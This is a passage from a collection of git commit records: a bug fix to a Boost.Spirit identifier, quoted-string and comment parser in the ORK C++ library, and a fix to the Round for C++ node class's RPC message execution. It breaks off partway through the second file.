ork\n\n\n\/*\nInstantiators for parser components\n*\/\nnamespace boost {\nnamespace spirit {\nnamespace qi {\n\n\/\/This is the factory function object invoked in order to create an instance of our parser.\ntemplate<typename modifiers>\nstruct make_primitive<ork::orq::tag::id, modifiers> {\n\ttypedef typename ork::orq::id_parser result_type;\n\n\tresult_type operator()(unused_type, unused_type) const {\n\t\treturn result_type();\n\t}\n};\ntemplate<typename modifiers>\nstruct make_primitive<ork::orq::tag::quote, modifiers> {\n\ttypedef typename ork::orq::quote_parser result_type;\n\n\tresult_type operator()(unused_type, unused_type) const {\n\t\treturn result_type();\n\t}\n};\ntemplate<typename modifiers>\nstruct make_primitive<ork::orq::tag::lb_com, modifiers> {\n\ttypedef typename ork::orq::lb_com_parser result_type;\n\n\tresult_type operator()(unused_type, unused_type) const {\n\t\treturn result_type();\n\t}\n};\n\n}\/\/namespace qi\n}\/\/namespace spirit\n}\/\/namespace boost<commit_msg>Fixed a bug including quotes in quoted string<commit_after>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#pragma once\n#include\"boost\/spirit\/home\/support\/common_terminals.hpp\"\n#include\"boost\/spirit\/home\/qi.hpp\"\n#include\"ork\/ork.hpp\"\n\n\n\/*\nPlaceholders for parser components\n*\/\nnamespace ork {\nnamespace orq {\/\/ork-qi :)\n\nBOOST_SPIRIT_TERMINAL(id);\nBOOST_SPIRIT_TERMINAL(quote);\nBOOST_SPIRIT_TERMINAL(lb_com);\/\/'pound comment'\n\n}\/\/namespace orq\n}\/\/namespace ork\n\n\n\/*\nEnablers for parser components\n*\/\nnamespace boost {\nnamespace spirit {\n\n\/\/Make custom parser usable as a terminal only, and only for parser expressions (qi::domain).\ntemplate<> struct use_terminal<qi::domain, ork::orq::tag::id> : mpl::true_ {};\ntemplate<> struct use_terminal<qi::domain, ork::orq::tag::quote> : mpl::true_ {};\ntemplate<> struct use_terminal<qi::domain, ork::orq::tag::lb_com> : mpl::true_ {};\n\n}\/\/namespace spirit\n}\/\/namespace boost\n\n\n\nnamespace ork {\n\nnamespace spirit = boost::spirit;\nnamespace qi = spirit::qi;\nnamespace ascii = spirit::ascii;\nnamespace proto = boost::proto;\n\n\n#if ORK_UNICODE\ntypedef spirit::char_encoding::standard_wide charset;\n#else\ntypedef spirit::char_encoding::standard charset;\n#endif\n\n\nnamespace orq {\/\/ork-qi :)\n\n\nstruct ORK_ORK_API id_parser : qi::primitive_parser<id_parser> {\npublic:\/\/Parser component stuff\n\ttemplate<typename context, typename iter>\n\tstruct attribute {\/\/Define the attribute type exposed by this parser component\n\t\ttypedef string type;\n\t};\n\n\t\/\/This function is called during the actual parsing process\n\ttemplate<typename iter, typename context, typename skipper, typename attribute>\n\tbool parse(iter& first, const iter& last, context&ctxt, const skipper& skip, attribute& attr) const {\n\t\tboost::spirit::qi::skip_over(first, last, skip);\/\/All primitive parsers pre-skip\n\n\t\tif(first == last) {\n\t\t\treturn false;\n\t\t}\n\n\t\titer it(first);\n\t\tif(!std::isalpha(*it) && *it != ORK('_')) {\n\t\t\treturn false;\/\/First character must be letter or underscore\n\t\t}\n\t\twhile(it != last && (std::isalnum(*it) || *it == ORK('_'))) {\n\t\t\t++it;\/\/Subsequent characters can be numbers also\n\t\t}\n\n\t\tattribute result(first, it);\n\t\tif(result.empty()) {\n\t\t\treturn false;\n\t\t}\n\n\t\tfirst = it;\n\t\tspirit::traits::assign_to(result, attr);\n\t\treturn true;\n\t}\n\n\t\/\/This function is called during error handling to create a human readable string for the error context.\n\ttemplate<typename context>\n\tboost::spirit::info what(context&) const {\n\t\treturn boost::spirit::info(\"id\");\n\t}\n};\n\n\nstruct ORK_ORK_API quote_parser : qi::primitive_parser<quote_parser> {\npublic:\/\/Parser component stuff\n\ttemplate<typename context, typename iter>\n\tstruct attribute {\/\/Define the attribute type exposed by this parser component\n\t\ttypedef string type;\n\t};\n\n\t\/\/This function is called during the actual parsing process\n\ttemplate<typename iter, typename context, typename skipper, typename attribute>\n\tbool parse(iter& first, const iter& last, context&ctxt, const skipper& skip, attribute& attr) const {\n\t\tboost::spirit::qi::skip_over(first, last, skip);\/\/All primitive parsers pre-skip\n\n\t\tif(first == last) {\n\t\t\treturn false;\n\t\t}\n\n\t\titer it(first);\n\t\tif(*it++ != ORK('\"')) {\/\/Consume the quote\n\t\t\treturn false;\n\t\t}\n\t\twhile(it != last && *it != ORK('\"')) {\/\/Up to but do not consume the quote\n\t\t\t++it;\n\t\t}\n\t\tif(it == last) {\n\t\t\treturn false;\n\t\t}\n\t\tif(*it++ != ORK('\"')) {\/\/Consume the quote\n\t\t\treturn false;\n\t\t}\n\n\t\tattribute result(++first, it - 1);\/\/Do not include quotes\n\t\t\/\/Allow empty attribute\n\n\t\tfirst = it;\n\t\tspirit::traits::assign_to(result, attr);\n\t\treturn true;\n\t}\n\n\t\/\/This function is called during error handling to create a human readable string for the error context.\n\ttemplate<typename context>\n\tboost::spirit::info what(context&) const {\n\t\treturn boost::spirit::info(\"quote\");\n\t}\n};\n\n\nstruct ORK_ORK_API lb_com_parser : qi::primitive_parser<lb_com_parser> {\npublic:\/\/Parser component stuff\n\ttemplate<typename context, typename iter>\n\tstruct attribute {\/\/Define the attribute type exposed by this parser component\n\t\ttypedef qi::unused_type type;\n\t};\n\n\t\/\/This function is called during the actual parsing process\n\ttemplate<typename iter, typename context, typename skipper, typename attribute>\n\tbool parse(iter& first, const iter& last, context&ctxt, const skipper& skip, attribute& attr) const {\n\t\tboost::spirit::qi::skip_over(first, last, skip);\/\/All primitive parsers pre-skip\n\n\t\tif(first == last) {\n\t\t\treturn false;\n\t\t}\n\n\t\titer it(first);\n\t\tif(*it++ != ORK('#')) {\/\/Consume the marker\n\t\t\treturn false;\n\t\t}\n\t\twhile(it != last && *it != ORK('\\n')) {\/\/Up to but do not consume the eol\n\t\t\t++it;\n\t\t}\n\n\t\tfirst = it;\n\t\treturn true;\n\t}\n\n\t\/\/This function is called during error handling to create a human readable string for the error context.\n\ttemplate<typename context>\n\tboost::spirit::info what(context&) const {\n\t\treturn boost::spirit::info(\"lb_com\");\n\t}\n};\n\n\n}\/\/namespace orq\n}\/\/namespace ork\n\n\n\/*\nInstantiators for parser components\n*\/\nnamespace boost {\nnamespace spirit {\nnamespace qi {\n\n\/\/This is the factory function object invoked in order to create an instance of our parser.\ntemplate<typename modifiers>\nstruct make_primitive<ork::orq::tag::id, modifiers> {\n\ttypedef typename ork::orq::id_parser result_type;\n\n\tresult_type operator()(unused_type, unused_type) const {\n\t\treturn result_type();\n\t}\n};\ntemplate<typename modifiers>\nstruct make_primitive<ork::orq::tag::quote, modifiers> {\n\ttypedef typename ork::orq::quote_parser result_type;\n\n\tresult_type operator()(unused_type, unused_type) const {\n\t\treturn result_type();\n\t}\n};\ntemplate<typename modifiers>\nstruct make_primitive<ork::orq::tag::lb_com, modifiers> {\n\ttypedef typename ork::orq::lb_com_parser result_type;\n\n\tresult_type operator()(unused_type, unused_type) const {\n\t\treturn result_type();\n\t}\n};\n\n}\/\/namespace qi\n}\/\/namespace spirit\n}\/\/namespace boost<|endoftext|>"} {"text":"<commit_before>\/******************************************************************\n*\n* Round for C++\n*\n* Copyright (C) Satoshi Konno 2014\n*\n* This is licensed under BSD-style license, see file COPYING.\n*\n******************************************************************\/\n\n#include <boost\/filesystem.hpp>\n#include <boost\/foreach.hpp>\n\n#include <round\/Round.h>\n#include <round\/core\/LocalNode.h>\n#include <round\/core\/SystemMethod.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Constructor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nRound::LocalNode::LocalNode() {\n init();\n}\n\nRound::LocalNode::~LocalNode() {\n}\n\nvoid Round::LocalNode::init() {\n setState(NodeStatus::STOP);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Configuration\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::loadConfigFromString(const std::string &string, Error *error) {\n if (this->nodeConfig.loadFromString(string, error) == false)\n return false;\n return true;\n}\n\nbool Round::LocalNode::loadConfigFromFile(const std::string &filename, Error *error) {\n if (this->nodeConfig.loadFromFile(filename, error) == false)\n return false;\n return true;\n}\n\nbool Round::LocalNode::isConfigValid(Error *error) {\n return this->nodeConfig.isValid(error);\n}\n\nbool Round::LocalNode::getClusterName(std::string *name, Error *error) {\n return this->nodeConfig.getCluster(name, error);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::start(Error *error) {\n stop(error);\n \n bool areAllOperationSucess = true;\n \n setState(NodeStatus::ACTIVATING);\n\n nodeWorker.setObject(this);\n if (nodeWorker.start()) {\n if (!this->nodeGraph.addNode(this)) {\n areAllOperationSucess = false;\n }\n }\n else {\n areAllOperationSucess = false;\n }\n\n if (!areAllOperationSucess) {\n stop(error);\n return false;\n }\n \n setState(NodeStatus::ACTIVE);\n \n return true;\n}\n\nbool Round::LocalNode::stop(Error *error) {\n bool areAllOperationSucess = true;\n \n if (!nodeWorker.stop()) {\n areAllOperationSucess = false;\n return false;\n }\n \n NodeGraph *nodeGraph = getNodeGraph();\n if (!nodeGraph->clear()) {\n areAllOperationSucess = false;\n }\n \n if (areAllOperationSucess == true) {\n setState(NodeStatus::STOP);\n }\n \n return areAllOperationSucess;\n}\n\nbool Round::LocalNode::restart(Error *error) {\n if (stop(error) == false)\n return false;\n return start(error);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Notification\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::nodeAdded(Round::Node *notifyNode) {\n Error error;\n \n std::string notifyNodeCluster;\n if (!notifyNode->getClusterName(¬ifyNodeCluster, &error))\n return false;\n \n std::string thisNodeCluster;\n if (!getClusterName(&thisNodeCluster, &error))\n return false;\n \n if (thisNodeCluster.compare(notifyNodeCluster) != 0)\n return false;\n \n if (this->nodeGraph.hasNode(notifyNode))\n return true;\n \n if (!this->nodeGraph.addNode(notifyNode))\n return true;\n \n if (equals(notifyNode))\n return true;\n \n return true;\n}\n\nbool Round::LocalNode::nodeRemoved(Round::Node *notifyNode) {\n if (!this->nodeGraph.hasNode(notifyNode))\n return true;\n \n if (equals(notifyNode)) {\n this->nodeGraph.removeNode(notifyNode);\n return true;\n }\n \n ssize_t notifyNodeIndex = this->nodeGraph.getNodeIndex(notifyNode);\n if (notifyNodeIndex < 0)\n return false;\n \n Node *failedNode = this->nodeGraph.getNode(notifyNodeIndex);\n if (!failedNode)\n return false;\n \n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Message\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::postMessage(NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n \/\/ Set id and ts parameter\n \n clock_t localTs = getLocalClock();\n nodeReq->setId(localTs);\n nodeReq->setTimestamp(localTs);\n \n \/\/ Post RPC message\n \n return execMessage(nodeReq, nodeRes, error);\n}\n\nbool Round::LocalNode::pushMessage(const NodeRequest *nodeReq) {\n return this->nodeMsgMgr.pushMessage(nodeReq);\n}\n\nbool Round::LocalNode::waitMessage(const NodeRequest **nodeReq) {\n *nodeReq = NULL;\n const Message *nodeMsg = NULL;\n if (!this->nodeMsgMgr.waitMessage(&nodeMsg))\n return false;\n *nodeReq = dynamic_cast<const NodeRequest *>(nodeMsg);\n return (*nodeReq) ? true : false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Execution\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::hasUserMethod(const std::string &method) {\n return this->scriptMgr.hasScript(method);\n}\n\nbool Round::LocalNode::setError(int rpcErrorCode, Error *err) {\n if (!err)\n return false;\n RPC::JSON::ErrorCodeToError(rpcErrorCode, err);\n return true;\n}\n\nbool Round::LocalNode::execMessage(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *err) {\n if (!nodeReq || !nodeRes || !err)\n return false;\n \n \/\/ Check hash code\n \n if (nodeReq->hasHash()) {\n std::string hashCode;\n if (getHashCode(&hashCode)) {\n if (hashCode.length() != HashObject::GetHashCodeLength()) {\n setError(RPC::JSON::ErrorCodeBadHashCode, err);\n return false;\n }\n NodeGraph *nodeGraph = getNodeGraph();\n if (!nodeGraph->isHandleNode(this, hashCode)) {\n setError(RPC::JSON::ErrorCodeMovedPermanently, err);\n return false;\n }\n }\n }\n \n \/\/ Update local clock\n \n clock_t remoteTs;\n if (nodeRes->getTimestamp(&remoteTs)) {\n setRemoteClock(remoteTs);\n }\n else {\n incrementLocalClock();\n }\n \n \/\/ Set id and ts parameter\n \n size_t msgId;\n if (nodeReq->getId(&msgId)) {\n nodeRes->setId(msgId);\n }\n nodeRes->setTimestamp(getLocalClock());\n\n \/\/ Exec Message\n \n std::string name;\n nodeReq->getMethod(&name);\n \n if (isSetMethod(name)) {\n if (!setMethod(nodeReq, nodeRes, err)) {\n setError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n return true;\n }\n\n if (hasUserMethod(name)) {\n std::string params;\n nodeReq->getParams(¶ms);\n std::string result;\n return this->scriptMgr.run(name, params, &result, err);\n }\n \n if (isSystemMethod(name)) {\n return execSystemMethod(nodeReq, nodeRes, err);\n }\n \n setError(RPC::JSON::ErrorCodeMethodNotFound, err);\n \n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ System Static Method\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::isSetMethod(const std::string &method) {\n return (SystemMethodRequest::SET_METHOD.compare(method) == 0) ? true : false;\n}\n\nbool Round::LocalNode::setMethod(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *err) {\n std::string params;\n nodeReq->getParams(¶ms);\n \n JSONParser jsonParser;\n if (!jsonParser.parse(params, err)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n \n JSONObject *jsonObj = jsonParser.getRootObject();\n if (!jsonObj->isDictionary()) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n JSONDictionary *jsonDict = dynamic_cast<JSONDictionary *>(jsonObj);\n if (!jsonDict) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n \n std::string scriptMethod;\n if (!jsonDict->get(SystemMethodRequest::NAME, &scriptMethod) || (scriptMethod.length() <= 0)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n \/\/ Couldn't override '_set_method'\n if (isSetMethod(scriptMethod)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n std::string scriptLang;\n if (!jsonDict->get(SystemMethodRequest::LANGUAGE, &scriptLang) || (scriptLang.length() <= 0)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n \/\/ This method is removed if the code parameter is null.\n std::string scriptCode;\n jsonDict->get(SystemMethodRequest::CODE, &scriptCode);\n \n \/\/ Encode\n int encodeType = Script::ENCODING_NONE;\n std::string encodeTypeStr;\n if (jsonDict->get(SystemMethodRequest::ENCODE, &encodeTypeStr)) {\n if (encodeTypeStr.compare(SystemMethodRequest::ENCODE_BASE64)) {\n encodeType = Script::ENCODING_BASE64;\n }\n }\n \n return this->scriptMgr.setScript(scriptMethod, scriptLang, scriptCode, encodeType, err);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ System Dynamic Method\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::isSystemMethod(const std::string &method) {\n return (method.find(SystemMethodRequest::PREFIX) == 0) ? true : false;\n}\n\nbool Round::LocalNode::execSystemMethod(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n static std::map<std::string, int> systemMethods;\n enum {\n SystemGetNodeInfo,\n SystemGetClusterInfo,\n SystemGetNetworkInfo,\n };\n \n if (systemMethods.size() <= 0) {\n systemMethods[SystemMethodRequest::GET_NODE_INFO] = SystemGetNodeInfo;\n systemMethods[SystemMethodRequest::GET_CLUSTER_INFO] = SystemGetClusterInfo;\n systemMethods[SystemMethodRequest::GET_NETWORK_INFO] = SystemGetNetworkInfo;\n }\n \n std::string reqMethod;\n nodeReq->getMethod(&reqMethod);\n \n if (systemMethods.find(reqMethod) == systemMethods.end()) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeMethodNotFound, error);\n return false;\n }\n \n int systemMethodType = systemMethods[reqMethod];\n switch (systemMethodType) {\n case SystemGetNodeInfo:\n return _get_node_info(nodeReq, nodeRes, error);\n case SystemGetClusterInfo:\n return _get_cluster_info(nodeReq, nodeRes, error);\n case SystemGetNetworkInfo:\n return _get_network_info(nodeReq, nodeRes, error);\n }\n \n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeMethodNotFound, error);\n\n return false;\n}\n\nbool Round::LocalNode::_get_node_info(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n SystemGetNodeInfoResponse sysRes(nodeRes);\n return sysRes.setNode(this);\n}\n\nbool Round::LocalNode::_get_cluster_info(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n SystemGetClusterInfoResponse sysRes(nodeRes);\n return sysRes.setCluster(this);\n}\n\nbool Round::LocalNode::_get_network_info(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n SystemGetNetworkInfoResponse sysRes(nodeRes);\n return sysRes.setClusters(this);\n}\n<commit_msg>* Fixed LocalNode::execMessage() to return the result of user script execution. * Updated LocalNode::execMessage() to check if the method is null.<commit_after>\/******************************************************************\n*\n* Round for C++\n*\n* Copyright (C) Satoshi Konno 2014\n*\n* This is licensed under BSD-style license, see file COPYING.\n*\n******************************************************************\/\n\n#include <boost\/filesystem.hpp>\n#include <boost\/foreach.hpp>\n\n#include <round\/Round.h>\n#include <round\/core\/LocalNode.h>\n#include <round\/core\/SystemMethod.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Constructor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nRound::LocalNode::LocalNode() {\n init();\n}\n\nRound::LocalNode::~LocalNode() {\n}\n\nvoid Round::LocalNode::init() {\n setState(NodeStatus::STOP);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Configuration\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::loadConfigFromString(const std::string &string, Error *error) {\n if (this->nodeConfig.loadFromString(string, error) == false)\n return false;\n return true;\n}\n\nbool Round::LocalNode::loadConfigFromFile(const std::string &filename, Error *error) {\n if (this->nodeConfig.loadFromFile(filename, error) == false)\n return false;\n return true;\n}\n\nbool Round::LocalNode::isConfigValid(Error *error) {\n return this->nodeConfig.isValid(error);\n}\n\nbool Round::LocalNode::getClusterName(std::string *name, Error *error) {\n return this->nodeConfig.getCluster(name, error);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Thread\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::start(Error *error) {\n stop(error);\n \n bool areAllOperationSucess = true;\n \n setState(NodeStatus::ACTIVATING);\n\n nodeWorker.setObject(this);\n if (nodeWorker.start()) {\n if (!this->nodeGraph.addNode(this)) {\n areAllOperationSucess = false;\n }\n }\n else {\n areAllOperationSucess = false;\n }\n\n if (!areAllOperationSucess) {\n stop(error);\n return false;\n }\n \n setState(NodeStatus::ACTIVE);\n \n return true;\n}\n\nbool Round::LocalNode::stop(Error *error) {\n bool areAllOperationSucess = true;\n \n if (!nodeWorker.stop()) {\n areAllOperationSucess = false;\n return false;\n }\n \n NodeGraph *nodeGraph = getNodeGraph();\n if (!nodeGraph->clear()) {\n areAllOperationSucess = false;\n }\n \n if (areAllOperationSucess == true) {\n setState(NodeStatus::STOP);\n }\n \n return areAllOperationSucess;\n}\n\nbool Round::LocalNode::restart(Error *error) {\n if (stop(error) == false)\n return false;\n return start(error);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Notification\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::nodeAdded(Round::Node *notifyNode) {\n Error error;\n \n std::string notifyNodeCluster;\n if (!notifyNode->getClusterName(¬ifyNodeCluster, &error))\n return false;\n \n std::string thisNodeCluster;\n if (!getClusterName(&thisNodeCluster, &error))\n return false;\n \n if (thisNodeCluster.compare(notifyNodeCluster) != 0)\n return false;\n \n if (this->nodeGraph.hasNode(notifyNode))\n return true;\n \n if (!this->nodeGraph.addNode(notifyNode))\n return true;\n \n if (equals(notifyNode))\n return true;\n \n return true;\n}\n\nbool Round::LocalNode::nodeRemoved(Round::Node *notifyNode) {\n if (!this->nodeGraph.hasNode(notifyNode))\n return true;\n \n if (equals(notifyNode)) {\n this->nodeGraph.removeNode(notifyNode);\n return true;\n }\n \n ssize_t notifyNodeIndex = this->nodeGraph.getNodeIndex(notifyNode);\n if (notifyNodeIndex < 0)\n return false;\n \n Node *failedNode = this->nodeGraph.getNode(notifyNodeIndex);\n if (!failedNode)\n return false;\n \n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Message\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::postMessage(NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n \/\/ Set id and ts parameter\n \n clock_t localTs = getLocalClock();\n nodeReq->setId(localTs);\n nodeReq->setTimestamp(localTs);\n \n \/\/ Post RPC message\n \n return execMessage(nodeReq, nodeRes, error);\n}\n\nbool Round::LocalNode::pushMessage(const NodeRequest *nodeReq) {\n return this->nodeMsgMgr.pushMessage(nodeReq);\n}\n\nbool Round::LocalNode::waitMessage(const NodeRequest **nodeReq) {\n *nodeReq = NULL;\n const Message *nodeMsg = NULL;\n if (!this->nodeMsgMgr.waitMessage(&nodeMsg))\n return false;\n *nodeReq = dynamic_cast<const NodeRequest *>(nodeMsg);\n return (*nodeReq) ? true : false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Execution\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::hasUserMethod(const std::string &method) {\n return this->scriptMgr.hasScript(method);\n}\n\nbool Round::LocalNode::setError(int rpcErrorCode, Error *err) {\n if (!err)\n return false;\n RPC::JSON::ErrorCodeToError(rpcErrorCode, err);\n return true;\n}\n\nbool Round::LocalNode::execMessage(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *err) {\n if (!nodeReq || !nodeRes || !err)\n return false;\n \n \/\/ Check hash code\n \n if (nodeReq->hasHash()) {\n std::string hashCode;\n if (getHashCode(&hashCode)) {\n if (hashCode.length() != HashObject::GetHashCodeLength()) {\n setError(RPC::JSON::ErrorCodeBadHashCode, err);\n return false;\n }\n NodeGraph *nodeGraph = getNodeGraph();\n if (!nodeGraph->isHandleNode(this, hashCode)) {\n setError(RPC::JSON::ErrorCodeMovedPermanently, err);\n return false;\n }\n }\n }\n \n \/\/ Update local clock\n \n clock_t remoteTs;\n if (nodeRes->getTimestamp(&remoteTs)) {\n setRemoteClock(remoteTs);\n }\n else {\n incrementLocalClock();\n }\n \n \/\/ Set id and ts parameter\n \n size_t msgId;\n if (nodeReq->getId(&msgId)) {\n nodeRes->setId(msgId);\n }\n nodeRes->setTimestamp(getLocalClock());\n\n \/\/ Exec Message\n \n std::string name;\n if (!nodeReq->getMethod(&name) || (name.length() <= 0)) {\n setError(RPC::JSON::ErrorCodeMethodNotFound, err);\n return false;\n }\n \n if (isSetMethod(name)) {\n if (!setMethod(nodeReq, nodeRes, err)) {\n setError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n return true;\n }\n\n if (hasUserMethod(name)) {\n std::string params;\n nodeReq->getParams(¶ms);\n std::string result;\n bool isSuccess = this->scriptMgr.run(name, params, &result, err);\n if (isSuccess) {\n nodeRes->setResult(result);\n }\n else {\n nodeRes->setError(err);\n }\n return isSuccess;\n }\n \n if (isSystemMethod(name)) {\n return execSystemMethod(nodeReq, nodeRes, err);\n }\n \n setError(RPC::JSON::ErrorCodeMethodNotFound, err);\n \n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ System Static Method\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::isSetMethod(const std::string &method) {\n return (SystemMethodRequest::SET_METHOD.compare(method) == 0) ? true : false;\n}\n\nbool Round::LocalNode::setMethod(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *err) {\n std::string params;\n nodeReq->getParams(¶ms);\n \n JSONParser jsonParser;\n if (!jsonParser.parse(params, err)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n \n JSONObject *jsonObj = jsonParser.getRootObject();\n if (!jsonObj->isDictionary()) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n JSONDictionary *jsonDict = dynamic_cast<JSONDictionary *>(jsonObj);\n if (!jsonDict) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n \n 